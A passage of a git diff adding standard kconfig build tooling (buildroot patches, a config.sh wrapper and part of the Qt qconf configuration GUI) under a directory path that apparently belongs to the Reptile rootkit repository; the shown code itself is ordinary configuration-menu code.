References ++ ++Ref to buildroot README.buildroot file for the original idea ++of packaging kconfig. ++ ++Ref to kernel.org for actual contributors of kconfig. +Index: kconfig/config.sh +=================================================================== +--- /dev/null 1970-01-01 00:00:00.000000000 +0000 ++++ kconfig/config.sh 2014-05-20 14:12:37.000000000 +0200 +@@ -0,0 +1,26 @@ ++#!/bin/sh ++# ++# usage: kconfig/config.sh ++# ++# Runs the requested configuration from ++# the directory to be configured. ++# ++# For instance: ++# cd myproject/ ++# kconfig/config.sh menuconfig ++# ++# Will generated a 'config' file in ++# myproject/ from the 'Kconfig' file ++# in myproject/ ++# ++ ++set -e ++dir=`dirname $0` ++topdir=`dirname $dir` ++srcdir=`basename $dir` ++kconfig_targets="${1-config}" ++set -x ++exec make -f $dir/GNUmakefile \ ++ TOPDIR=$topdir \ ++ SRCDIR=$srcdir \ ++ $kconfig_targets diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/11-use-mktemp-for-lxdialog.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/11-use-mktemp-for-lxdialog.patch new file mode 100644 index 0000000..b38af26 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/11-use-mktemp-for-lxdialog.patch @@ -0,0 +1,17 @@ +--- + lxdialog/check-lxdialog.sh | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +Index: b/lxdialog/check-lxdialog.sh +=================================================================== +--- a/lxdialog/check-lxdialog.sh ++++ b/lxdialog/check-lxdialog.sh +@@ -36,7 +36,7 @@ + } + + # Temp file, try to clean up after us +-tmp=.lxdialog.tmp ++tmp=$(mktemp) + trap "rm -f $tmp" 0 1 2 3 15 + + # Check if we can link to ncurses diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/12-fix-glade-file-path.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/12-fix-glade-file-path.patch new file mode 100644 index 0000000..a5777da --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/12-fix-glade-file-path.patch @@ -0,0 +1,17 @@ +--- + gconf.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +Index: b/gconf.c +=================================================================== +--- a/gconf.c ++++ b/gconf.c +@@ -1486,7 +1486,7 @@ + /* Determine GUI path */ + env = getenv(SRCTREE); + if (env) +- glade_file = g_strconcat(env, "/scripts/kconfig/gconf.glade", NULL); ++ glade_file = g_strconcat(env, "/support/kconfig/gconf.glade", NULL); + else if (av[0][0] == '/') + glade_file = g_strconcat(av[0], ".glade", NULL); + else diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/14-support-out-of-tree-config.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/14-support-out-of-tree-config.patch new file mode 100644 index 0000000..ec3134f --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/14-support-out-of-tree-config.patch @@ -0,0 +1,207 @@ +--- + conf.c | 1 + confdata.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++--------------- + util.c | 16 +++++++++++++-- + 3 files changed, 61 insertions(+), 18 deletions(-) + +Index: b/conf.c +=================================================================== +--- a/conf.c ++++ b/conf.c +@@ -558,7 +558,6 @@ + } + name = av[optind]; + conf_parse(name); +- //zconfdump(stdout); + if (sync_kconfig) { + name = conf_get_configname(); + if (stat(name, &tmpstat)) { +Index: b/confdata.c +=================================================================== +--- a/confdata.c ++++ b/confdata.c +@@ -13,6 +13,7 @@ + #include + #include + #include ++#include + + #include "lkc.h" + +@@ -70,9 +71,7 @@ + + const char *conf_get_autoconfig_name(void) + { +- char *name = getenv("KCONFIG_AUTOCONFIG"); +- +- return name ? name : "include/config/auto.conf"; ++ return getenv("KCONFIG_AUTOCONFIG"); + } + + static char *conf_expand_value(const char *in) +@@ -742,6 +741,9 @@ + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + ++ if (!name) ++ name = conf_get_configname(); ++ + dirname[0] = 0; + if (name && name[0]) { + struct stat st; +@@ -836,6 +838,7 @@ + { + const char *name; + char path[PATH_MAX+1]; ++ char *opwd, *dir, *_name; + char *s, *d, c; + struct symbol *sym; + struct stat sb; +@@ -844,8 +847,20 @@ + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + +- if (chdir("include/config")) +- return 1; ++ opwd = malloc(256); ++ _name = strdup(name); ++ if (opwd == NULL || _name == NULL) ++ return 1; ++ opwd = getcwd(opwd, 256); ++ dir = dirname(_name); ++ if (dir == NULL) { ++ res = 1; ++ goto err; ++ } ++ if (chdir(dir)) { ++ res = 1; ++ goto err; ++ } + + res = 0; + for_all_symbols(i, sym) { +@@ -938,9 +953,11 @@ + close(fd); + } + out: +- if (chdir("../..")) +- return 1; +- ++ if (chdir(opwd)) ++ res = 1; ++err: ++ free(opwd); ++ free(_name); + return res; + } + +@@ -950,25 +967,38 @@ + const char *name; + FILE *out, *tristate, *out_h; + int i; ++ char dir[PATH_MAX+1], buf[PATH_MAX+1]; ++ char *s; ++ ++ strcpy(dir, conf_get_configname()); ++ s = strrchr(dir, '/'); ++ if (s) ++ s[1] = 0; ++ else ++ dir[0] = 0; + + sym_clear_all_valid(); + +- file_write_dep("include/config/auto.conf.cmd"); ++ sprintf(buf, "%s.config.cmd", dir); ++ file_write_dep(buf); + + if (conf_split_config()) + return 1; + +- out = fopen(".tmpconfig", "w"); ++ sprintf(buf, "%s.tmpconfig", dir); ++ out = fopen(buf, "w"); + if (!out) + return 1; + +- tristate = fopen(".tmpconfig_tristate", "w"); ++ sprintf(buf, "%s.tmpconfig_tristate", dir); ++ tristate = fopen(buf, "w"); + if (!tristate) { + fclose(out); + return 1; + } + +- out_h = fopen(".tmpconfig.h", "w"); ++ sprintf(buf, "%s.tmpconfig.h", dir); ++ out_h = fopen(buf, "w"); + if (!out_h) { + fclose(out); + fclose(tristate); +@@ -1000,19 +1030,22 @@ + name = getenv("KCONFIG_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; +- if (rename(".tmpconfig.h", name)) ++ sprintf(buf, "%s.tmpconfig.h", dir); ++ if (rename(buf, name)) + return 1; + name = getenv("KCONFIG_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; +- if (rename(".tmpconfig_tristate", name)) ++ sprintf(buf, "%s.tmpconfig_tristate", dir); ++ if (rename(buf, name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ +- if (rename(".tmpconfig", name)) ++ sprintf(buf, "%s.tmpconfig", dir); ++ if (rename(buf, name)) + return 1; + + return 0; +Index: b/util.c +=================================================================== +--- a/util.c ++++ b/util.c +@@ -34,6 +34,8 @@ + /* write a dependency file as used by kbuild to track dependencies */ + int file_write_dep(const char *name) + { ++ char *str; ++ char buf[PATH_MAX+1], buf2[PATH_MAX+1], dir[PATH_MAX+1]; + struct symbol *sym, *env_sym; + struct expr *e; + struct file *file; +@@ -41,7 +43,16 @@ + + if (!name) + name = ".kconfig.d"; +- out = fopen("..config.tmp", "w"); ++ ++ strcpy(dir, conf_get_configname()); ++ str = strrchr(dir, '/'); ++ if (str) ++ str[1] = 0; ++ else ++ dir[0] = 0; ++ ++ sprintf(buf, "%s..config.tmp", dir); ++ out = fopen(buf, "w"); + if (!out) + return 1; + fprintf(out, "deps_config := \\\n"); +@@ -72,7 +83,8 @@ + + fprintf(out, "\n$(deps_config): ;\n"); + fclose(out); +- rename("..config.tmp", name); ++ sprintf(buf2, "%s%s", dir, name); ++ rename(buf, buf2); + return 0; + } + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/15-fix-qconf-moc-rule.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/15-fix-qconf-moc-rule.patch new file mode 100644 index 0000000..c1848d7 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/15-fix-qconf-moc-rule.patch @@ -0,0 +1,24 @@ +Fix the rule that generates the .moc file + +The Linux kernel has a "cmd" make function, but we don't have it in +Buildroot, so we need to adjust this rule. + +Signed-off-by: Thomas Petazzoni + +Index: b/Makefile +=================================================================== +--- a/Makefile ++++ b/Makefile +@@ -309,11 +309,8 @@ + + $(obj)/qconf.o: $(obj)/qconf.moc + +-quiet_cmd_moc = MOC $@ +- cmd_moc = $(KC_QT_MOC) -i $< -o $@ +- + $(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck +- $(call cmd,moc) ++ $(KC_QT_MOC) -i $< -o $@ + + # Extract gconf menu items for I18N support + $(obj)/gconf.glade.h: $(obj)/gconf.glade diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/16-fix-space-to-de-select-options.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/16-fix-space-to-de-select-options.patch new file mode 100644 index 0000000..972d2de --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/16-fix-space-to-de-select-options.patch @@ -0,0 +1,41 @@ +commit 6faa447282fe90d42e0513af46c13f20b4b327d4 +Author: Yann E. MORIN +Date: Wed Nov 13 22:45:02 2013 +0100 + + support/kconfig: fix 'space' to (de)select options + + In case a menu has comment without letters/numbers (eg. characters + matching the regexp '^[^[:alpha:][:digit:]]+$', for example - or *), + hitting space will cycle through those comments, rather than + selecting/deselecting the currently-highlighted option. + + This is the behaviour of hitting any letter/digit: jump to the next + option which prompt starts with that letter. The only letters that + do not behave as such are 'y' 'm' and 'n'. Prompts that start with + one of those three letters are instead matched on the first letter + that is not 'y', 'm' or 'n'. + + Fix that by treating 'space' as we treat y/m/n, ie. as an action key, + not as shortcut to jump to prompt. + + Signed-off-by: "Yann E. MORIN" + Cc: Thomas Petazzoni + Cc: Peter Korsgaard + Cc: Samuel Martin + Cc: Thomas De Schampheleire + --- + Note: I'll be running this upstream soonish. + +diff --git a/support/kconfig/lxdialog/menubox.c b/support/kconfig/lxdialog/menubox.c +index 48d382e..6fc7e78 100644 +--- a/lxdialog/menubox.c ++++ b/lxdialog/menubox.c +@@ -285,7 +285,7 @@ do_resize: + if (key < 256 && isalpha(key)) + key = tolower(key); + +- if (strchr("ynmh", key)) ++ if (strchr("ynmh ", key)) + i = max_choice; + else { + for (i = choice + 1; i < max_choice; i++) { diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/series b/Linux/Rootkits/Reptile/scripts/kconfig/patches/series new file mode 100644 index 0000000..de0a289 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/series @@ -0,0 +1,9 @@ +01-kconfig-kernel-to-buildroot.patch +10-br-build-system.patch +11-use-mktemp-for-lxdialog.patch +12-fix-glade-file-path.patch +14-support-out-of-tree-config.patch +15-fix-qconf-moc-rule.patch +16-fix-space-to-de-select-options.patch +100-kconfig-generic-env.patch +101-kconfig-build.patch diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/qconf.cc b/Linux/Rootkits/Reptile/scripts/kconfig/qconf.cc new file mode 100644 index 0000000..2443af1 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/qconf.cc @@ -0,0 +1,1795 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include + +#if QT_VERSION < 0x040000 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "lkc.h" +#include "qconf.h" + +#include "qconf.moc" +#include "images.c" + +#ifdef _ +# undef _ +# define _ qgettext +#endif + +static QApplication *configApp; +static ConfigSettings *configSettings; + +Q3Action *ConfigMainWindow::saveAction; + +static inline QString qgettext(const char* str) +{ + return QString::fromLocal8Bit(gettext(str)); +} + +static inline QString qgettext(const QString& str) +{ + return QString::fromLocal8Bit(gettext(str.latin1())); +} + +ConfigSettings::ConfigSettings() + : QSettings(PRODUCT_DOMAIN, "qconf") +{ +} + +/** + * Reads a list of integer values from the application settings. + */ +Q3ValueList ConfigSettings::readSizes(const QString& key, bool *ok) +{ + Q3ValueList result; + QStringList entryList = readListEntry(key, ok); + QStringList::Iterator it; + + for (it = entryList.begin(); it != entryList.end(); ++it) + result.push_back((*it).toInt()); + + return result; +} + +/** + * Writes a list of integer values to the application settings. + */ +bool ConfigSettings::writeSizes(const QString& key, const Q3ValueList& value) +{ + QStringList stringList; + Q3ValueList::ConstIterator it; + + for (it = value.begin(); it != value.end(); ++it) + stringList.push_back(QString::number(*it)); + return writeEntry(key, stringList); +} + + +/* + * set the new data + * TODO check the value + */ +void ConfigItem::okRename(int col) +{ + Parent::okRename(col); + sym_set_string_value(menu->sym, text(dataColIdx).latin1()); + listView()->updateList(this); +} + +/* + * update the displayed of a menu entry + */ +void ConfigItem::updateMenu(void) +{ + ConfigList* list; + struct symbol* sym; + struct property *prop; + QString prompt; + int type; + tristate expr; + + list = listView(); + if (goParent) { + setPixmap(promptColIdx, list->menuBackPix); + prompt = ".."; + goto set_prompt; + } + + sym = menu->sym; + prop = menu->prompt; + prompt = _(menu_get_prompt(menu)); + + if (prop) switch (prop->type) { + case P_MENU: + if (list->mode == singleMode || list->mode == symbolMode) { + /* a menuconfig entry is displayed differently + * depending whether it's at the view root or a child. + */ + if (sym && list->rootEntry == menu) + break; + setPixmap(promptColIdx, list->menuPix); + } else { + if (sym) + break; + setPixmap(promptColIdx, 0); + } + goto set_prompt; + case P_COMMENT: + setPixmap(promptColIdx, 0); + goto set_prompt; + default: + ; + } + if (!sym) + goto set_prompt; + + setText(nameColIdx, QString::fromLocal8Bit(sym->name)); + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + char ch; + + if (!sym_is_changable(sym) && list->optMode == normalOpt) { + setPixmap(promptColIdx, 0); + setText(noColIdx, QString::null); + setText(modColIdx, QString::null); + setText(yesColIdx, QString::null); + break; + } + expr = sym_get_tristate_value(sym); + switch (expr) { + case yes: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceYesPix); + else + setPixmap(promptColIdx, list->symbolYesPix); + setText(yesColIdx, "Y"); + ch = 'Y'; + break; + case mod: + setPixmap(promptColIdx, list->symbolModPix); + setText(modColIdx, "M"); + ch = 'M'; + break; + default: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceNoPix); + else + setPixmap(promptColIdx, list->symbolNoPix); + setText(noColIdx, "N"); + ch = 'N'; + break; + } + if (expr != no) + setText(noColIdx, sym_tristate_within_range(sym, no) ? "_" : 0); + if (expr != mod) + setText(modColIdx, sym_tristate_within_range(sym, mod) ? "_" : 0); + if (expr != yes) + setText(yesColIdx, sym_tristate_within_range(sym, yes) ? "_" : 0); + + setText(dataColIdx, QChar(ch)); + break; + case S_INT: + case S_HEX: + case S_STRING: + const char* data; + + data = sym_get_string_value(sym); + + int i = list->mapIdx(dataColIdx); + if (i >= 0) + setRenameEnabled(i, TRUE); + setText(dataColIdx, data); + if (type == S_STRING) + prompt = QString("%1: %2").arg(prompt).arg(data); + else + prompt = QString("(%2) %1").arg(prompt).arg(data); + break; + } + if (!sym_has_value(sym) && visible) + prompt += _(" (NEW)"); +set_prompt: + setText(promptColIdx, prompt); +} + +void ConfigItem::testUpdateMenu(bool v) +{ + ConfigItem* i; + + visible = v; + if (!menu) + return; + + sym_calc_value(menu->sym); + if (menu->flags & MENU_CHANGED) { + /* the menu entry changed, so update all list items */ + menu->flags &= ~MENU_CHANGED; + for (i = (ConfigItem*)menu->data; i; i = i->nextItem) + i->updateMenu(); + } else if (listView()->updateAll) + updateMenu(); +} + +void ConfigItem::paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align) +{ + ConfigList* list = listView(); + + if (visible) { + if (isSelected() && !list->hasFocus() && list->mode == menuMode) + Parent::paintCell(p, list->inactivedColorGroup, column, width, align); + else + Parent::paintCell(p, cg, column, width, align); + } else + Parent::paintCell(p, list->disabledColorGroup, column, width, align); +} + +/* + * construct a menu entry + */ +void ConfigItem::init(void) +{ + if (menu) { + ConfigList* list = listView(); + nextItem = (ConfigItem*)menu->data; + menu->data = this; + + if (list->mode != fullMode) + setOpen(TRUE); + sym_calc_value(menu->sym); + } + updateMenu(); +} + +/* + * destruct a menu entry + */ +ConfigItem::~ConfigItem(void) +{ + if (menu) { + ConfigItem** ip = (ConfigItem**)&menu->data; + for (; *ip; ip = &(*ip)->nextItem) { + if (*ip == this) { + *ip = nextItem; + break; + } + } + } +} + +ConfigLineEdit::ConfigLineEdit(ConfigView* parent) + : Parent(parent) +{ + connect(this, SIGNAL(lostFocus()), SLOT(hide())); +} + +void ConfigLineEdit::show(ConfigItem* i) +{ + item = i; + if (sym_get_string_value(item->menu->sym)) + setText(QString::fromLocal8Bit(sym_get_string_value(item->menu->sym))); + else + setText(QString::null); + Parent::show(); + setFocus(); +} + +void ConfigLineEdit::keyPressEvent(QKeyEvent* e) +{ + switch (e->key()) { + case Qt::Key_Escape: + break; + case Qt::Key_Return: + case Qt::Key_Enter: + sym_set_string_value(item->menu->sym, text().latin1()); + parent()->updateList(item); + break; + default: + Parent::keyPressEvent(e); + return; + } + e->accept(); + parent()->list->setFocus(); + hide(); +} + +ConfigList::ConfigList(ConfigView* p, const char *name) + : Parent(p, name), + updateAll(false), + symbolYesPix(xpm_symbol_yes), symbolModPix(xpm_symbol_mod), symbolNoPix(xpm_symbol_no), + choiceYesPix(xpm_choice_yes), choiceNoPix(xpm_choice_no), + menuPix(xpm_menu), menuInvPix(xpm_menu_inv), menuBackPix(xpm_menuback), voidPix(xpm_void), + showName(false), showRange(false), showData(false), optMode(normalOpt), + rootEntry(0), headerPopup(0) +{ + int i; + + setSorting(-1); + setRootIsDecorated(TRUE); + disabledColorGroup = palette().active(); + disabledColorGroup.setColor(QColorGroup::Text, palette().disabled().text()); + inactivedColorGroup = palette().active(); + inactivedColorGroup.setColor(QColorGroup::Highlight, palette().disabled().highlight()); + + connect(this, SIGNAL(selectionChanged(void)), + SLOT(updateSelection(void))); + + if (name) { + configSettings->beginGroup(name); + showName = configSettings->readBoolEntry("/showName", false); + showRange = configSettings->readBoolEntry("/showRange", false); + showData = configSettings->readBoolEntry("/showData", false); + optMode = (enum optionMode)configSettings->readNumEntry("/optionMode", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } + + for (i = 0; i < colNr; i++) + colMap[i] = colRevMap[i] = -1; + addColumn(promptColIdx, _("Option")); + + reinit(); +} + +bool ConfigList::menuSkip(struct menu *menu) +{ + if (optMode == normalOpt && menu_is_visible(menu)) + return false; + if (optMode == promptOpt && menu_has_prompt(menu)) + return false; + if (optMode == allOpt) + return false; + return true; +} + +void ConfigList::reinit(void) +{ + removeColumn(dataColIdx); + removeColumn(yesColIdx); + removeColumn(modColIdx); + removeColumn(noColIdx); + removeColumn(nameColIdx); + + if (showName) + addColumn(nameColIdx, _("Name")); + if (showRange) { + addColumn(noColIdx, "N"); + addColumn(modColIdx, "M"); + addColumn(yesColIdx, "Y"); + } + if (showData) + addColumn(dataColIdx, _("Value")); + + updateListAll(); +} + +void ConfigList::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showName", showName); + configSettings->writeEntry("/showRange", showRange); + configSettings->writeEntry("/showData", showData); + configSettings->writeEntry("/optionMode", (int)optMode); + configSettings->endGroup(); + } +} + +ConfigItem* ConfigList::findConfigItem(struct menu *menu) +{ + ConfigItem* item = (ConfigItem*)menu->data; + + for (; item; item = item->nextItem) { + if (this == item->listView()) + break; + } + + return item; +} + +void ConfigList::updateSelection(void) +{ + struct menu *menu; + enum prop_type type; + + ConfigItem* item = (ConfigItem*)selectedItem(); + if (!item) + return; + + menu = item->menu; + emit menuChanged(menu); + if (!menu) + return; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (mode == menuMode && type == P_MENU) + emit menuSelected(menu); +} + +void ConfigList::updateList(ConfigItem* item) +{ + ConfigItem* last = 0; + + if (!rootEntry) { + if (mode != listMode) + goto update; + Q3ListViewItemIterator it(this); + ConfigItem* item; + + for (; it.current(); ++it) { + item = (ConfigItem*)it.current(); + if (!item->menu) + continue; + item->testUpdateMenu(menu_is_visible(item->menu)); + } + return; + } + + if (rootEntry != &rootmenu && (mode == singleMode || + (mode == symbolMode && rootEntry->parent != &rootmenu))) { + item = firstChild(); + if (!item) + item = new ConfigItem(this, 0, true); + last = item; + } + if ((mode == singleMode || (mode == symbolMode && !(rootEntry->flags & MENU_ROOT))) && + rootEntry->sym && rootEntry->prompt) { + item = last ? last->nextSibling() : firstChild(); + if (!item) + item = new ConfigItem(this, last, rootEntry, true); + else + item->testUpdateMenu(true); + + updateMenuList(item, rootEntry); + triggerUpdate(); + return; + } +update: + updateMenuList(this, rootEntry); + triggerUpdate(); +} + +void ConfigList::setValue(ConfigItem* item, tristate val) +{ + struct symbol* sym; + int type; + tristate oldval; + + sym = item->menu ? item->menu->sym : 0; + if (!sym) + return; + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldval = sym_get_tristate_value(sym); + + if (!sym_set_tristate_value(sym, val)) + return; + if (oldval == no && item->menu->list) + item->setOpen(TRUE); + parent()->updateList(item); + break; + } +} + +void ConfigList::changeValue(ConfigItem* item) +{ + struct symbol* sym; + struct menu* menu; + int type, oldexpr, newexpr; + + menu = item->menu; + if (!menu) + return; + sym = menu->sym; + if (!sym) { + if (item->menu->list) + item->setOpen(!item->isOpen()); + return; + } + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldexpr = sym_get_tristate_value(sym); + newexpr = sym_toggle_tristate_value(sym); + if (item->menu->list) { + if (oldexpr == newexpr) + item->setOpen(!item->isOpen()); + else if (oldexpr == no) + item->setOpen(TRUE); + } + if (oldexpr != newexpr) + parent()->updateList(item); + break; + case S_INT: + case S_HEX: + case S_STRING: + if (colMap[dataColIdx] >= 0) + item->startRename(colMap[dataColIdx]); + else + parent()->lineEdit->show(item); + break; + } +} + +void ConfigList::setRootMenu(struct menu *menu) +{ + enum prop_type type; + + if (rootEntry == menu) + return; + type = menu && menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type != P_MENU) + return; + updateMenuList(this, 0); + rootEntry = menu; + updateListAll(); + setSelected(currentItem(), hasFocus()); + ensureItemVisible(currentItem()); +} + +void ConfigList::setParentMenu(void) +{ + ConfigItem* item; + struct menu *oldroot; + + oldroot = rootEntry; + if (rootEntry == &rootmenu) + return; + setRootMenu(menu_get_parent_menu(rootEntry->parent)); + + Q3ListViewItemIterator it(this); + for (; (item = (ConfigItem*)it.current()); it++) { + if (item->menu == oldroot) { + setCurrentItem(item); + ensureItemVisible(item); + break; + } + } +} + +/* + * update all the children of a menu entry + * removes/adds the entries from the parent widget as necessary + * + * parent: either the menu list widget or a menu entry widget + * menu: entry to be updated + */ +template +void ConfigList::updateMenuList(P* parent, struct menu* menu) +{ + struct menu* child; + ConfigItem* item; + ConfigItem* last; + bool visible; + enum prop_type type; + + if (!menu) { + while ((item = parent->firstChild())) + delete item; + return; + } + + last = parent->firstChild(); + if (last && !last->goParent) + last = 0; + for (child = menu->list; child; child = child->next) { + item = last ? last->nextSibling() : parent->firstChild(); + type = child->prompt ? child->prompt->type : P_UNKNOWN; + + switch (mode) { + case menuMode: + if (!(child->flags & MENU_ROOT)) + goto hide; + break; + case symbolMode: + if (child->flags & MENU_ROOT) + goto hide; + break; + default: + break; + } + + visible = menu_is_visible(child); + if (!menuSkip(child)) { + if (!child->sym && !child->list && !child->prompt) + continue; + if (!item || item->menu != child) + item = new ConfigItem(parent, last, child, visible); + else + item->testUpdateMenu(visible); + + if (mode == fullMode || mode == menuMode || type != P_MENU) + updateMenuList(item, child); + else + updateMenuList(item, 0); + last = item; + continue; + } + hide: + if (item && item->menu == child) { + last = parent->firstChild(); + if (last == item) + last = 0; + else while (last->nextSibling() != item) + last = last->nextSibling(); + delete item; + } + } +} + +void ConfigList::keyPressEvent(QKeyEvent* ev) +{ + Q3ListViewItem* i = currentItem(); + ConfigItem* item; + struct menu *menu; + enum prop_type type; + + if (ev->key() == Qt::Key_Escape && mode != fullMode && mode != listMode) { + emit parentSelected(); + ev->accept(); + return; + } + + if (!i) { + Parent::keyPressEvent(ev); + return; + } + item = (ConfigItem*)i; + + switch (ev->key()) { + case Qt::Key_Return: + case Qt::Key_Enter: + if (item->goParent) { + emit parentSelected(); + break; + } + menu = item->menu; + if (!menu) + break; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) { + emit menuSelected(menu); + break; + } + case Qt::Key_Space: + changeValue(item); + break; + case Qt::Key_N: + setValue(item, no); + break; + case Qt::Key_M: + setValue(item, mod); + break; + case Qt::Key_Y: + setValue(item, yes); + break; + default: + Parent::keyPressEvent(ev); + return; + } + ev->accept(); +} + +void ConfigList::contentsMousePressEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMousePressEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMousePressEvent(e); +} + +void ConfigList::contentsMouseReleaseEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + const QPixmap* pm; + int idx, x; + + if (!item) + goto skip; + + menu = item->menu; + x = header()->offset() + p.x(); + idx = colRevMap[header()->sectionAt(x)]; + switch (idx) { + case promptColIdx: + pm = item->pixmap(promptColIdx); + if (pm) { + int off = header()->sectionPos(0) + itemMargin() + + treeStepSize() * (item->depth() + (rootIsDecorated() ? 1 : 0)); + if (x >= off && x < off + pm->width()) { + if (item->goParent) { + emit parentSelected(); + break; + } else if (!menu) + break; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) + emit menuSelected(menu); + else + changeValue(item); + } + } + break; + case noColIdx: + setValue(item, no); + break; + case modColIdx: + setValue(item, mod); + break; + case yesColIdx: + setValue(item, yes); + break; + case dataColIdx: + changeValue(item); + break; + } + +skip: + //printf("contentsMouseReleaseEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseReleaseEvent(e); +} + +void ConfigList::contentsMouseMoveEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMouseMoveEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseMoveEvent(e); +} + +void ConfigList::contentsMouseDoubleClickEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + + if (!item) + goto skip; + if (item->goParent) { + emit parentSelected(); + goto skip; + } + menu = item->menu; + if (!menu) + goto skip; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && (mode == singleMode || mode == symbolMode)) + emit menuSelected(menu); + else if (menu->sym) + changeValue(item); + +skip: + //printf("contentsMouseDoubleClickEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseDoubleClickEvent(e); +} + +void ConfigList::focusInEvent(QFocusEvent *e) +{ + struct menu *menu = NULL; + + Parent::focusInEvent(e); + + ConfigItem* item = (ConfigItem *)currentItem(); + if (item) { + setSelected(item, TRUE); + menu = item->menu; + } + emit gotFocus(menu); +} + +void ConfigList::contextMenuEvent(QContextMenuEvent *e) +{ + if (e->y() <= header()->geometry().bottom()) { + if (!headerPopup) { + Q3Action *action; + + headerPopup = new Q3PopupMenu(this); + action = new Q3Action(NULL, _("Show Name"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowName(bool))); + connect(parent(), SIGNAL(showNameChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showName); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Range"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowRange(bool))); + connect(parent(), SIGNAL(showRangeChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showRange); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Data"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowData(bool))); + connect(parent(), SIGNAL(showDataChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showData); + action->addTo(headerPopup); + } + headerPopup->exec(e->globalPos()); + e->accept(); + } else + e->ignore(); +} + +ConfigView*ConfigView::viewList; +QAction *ConfigView::showNormalAction; +QAction *ConfigView::showAllAction; +QAction *ConfigView::showPromptAction; + +ConfigView::ConfigView(QWidget* parent, const char *name) + : Parent(parent, name) +{ + list = new ConfigList(this, name); + lineEdit = new ConfigLineEdit(this); + lineEdit->hide(); + + this->nextView = viewList; + viewList = this; +} + +ConfigView::~ConfigView(void) +{ + ConfigView** vp; + + for (vp = &viewList; *vp; vp = &(*vp)->nextView) { + if (*vp == this) { + *vp = nextView; + break; + } + } +} + +void ConfigView::setOptionMode(QAction *act) +{ + if (act == showNormalAction) + list->optMode = normalOpt; + else if (act == showAllAction) + list->optMode = allOpt; + else + list->optMode = promptOpt; + + list->updateListAll(); +} + +void ConfigView::setShowName(bool b) +{ + if (list->showName != b) { + list->showName = b; + list->reinit(); + emit showNameChanged(b); + } +} + +void ConfigView::setShowRange(bool b) +{ + if (list->showRange != b) { + list->showRange = b; + list->reinit(); + emit showRangeChanged(b); + } +} + +void ConfigView::setShowData(bool b) +{ + if 